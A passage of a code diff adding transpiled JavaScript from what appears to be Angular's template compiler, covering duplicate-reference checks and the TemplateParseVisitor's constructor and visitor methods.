!!element.references; }) + .forEach(function (element) { return element.references.forEach(function (reference) { + var name = reference.name; + if (existingReferences.indexOf(name) < 0) { + existingReferences.push(name); + } + else { + var error = new TemplateParseError("Reference \"#" + name + "\" is defined several times", reference.sourceSpan, ParseErrorLevel.ERROR); + errors.push(error); + } + }); }); + }; + return TemplateParser; +}()); +var TemplateParseVisitor = /** @class */ (function () { + function TemplateParseVisitor(reflector, config, providerViewContext, directives, _bindingParser, _schemaRegistry, _schemas, _targetErrors) { + var _this = this; + this.reflector = reflector; + this.config = config; + this.providerViewContext = providerViewContext; + this._bindingParser = _bindingParser; + this._schemaRegistry = _schemaRegistry; + this._schemas = _schemas; + this._targetErrors = _targetErrors; + this.selectorMatcher = new SelectorMatcher(); + this.directivesIndex = new Map(); + this.ngContentCount = 0; + // Note: queries start with id 1 so we can use the number in a Bloom filter! + this.contentQueryStartId = providerViewContext.component.viewQueries.length + 1; + directives.forEach(function (directive, index) { + var selector = CssSelector.parse(directive.selector); + _this.selectorMatcher.addSelectables(selector, directive); + _this.directivesIndex.set(directive, index); + }); + } + TemplateParseVisitor.prototype.visitExpansion = function (expansion, context) { return null; }; + TemplateParseVisitor.prototype.visitExpansionCase = function (expansionCase, context) { return null; }; + TemplateParseVisitor.prototype.visitText = function (text, parent) { + var ngContentIndex = parent.findNgContentIndex(TEXT_CSS_SELECTOR()); + var valueNoNgsp = replaceNgsp(text.value); + var expr = this._bindingParser.parseInterpolation(valueNoNgsp, text.sourceSpan); + return expr ? new BoundTextAst(expr, ngContentIndex, text.sourceSpan) : + new TextAst(valueNoNgsp, ngContentIndex, text.sourceSpan); + }; + TemplateParseVisitor.prototype.visitAttribute = function (attribute, context) { + return new AttrAst(attribute.name, attribute.value, attribute.sourceSpan); + }; + TemplateParseVisitor.prototype.visitComment = function (comment, context) { return null; }; + TemplateParseVisitor.prototype.visitElement = function (element, parent) { + var _this = this; + var queryStartIndex = this.contentQueryStartId; + var elName = element.name; + var preparsedElement = preparseElement(element); + if (preparsedElement.type === PreparsedElementType.SCRIPT || + preparsedElement.type === PreparsedElementType.STYLE) { + // Skipping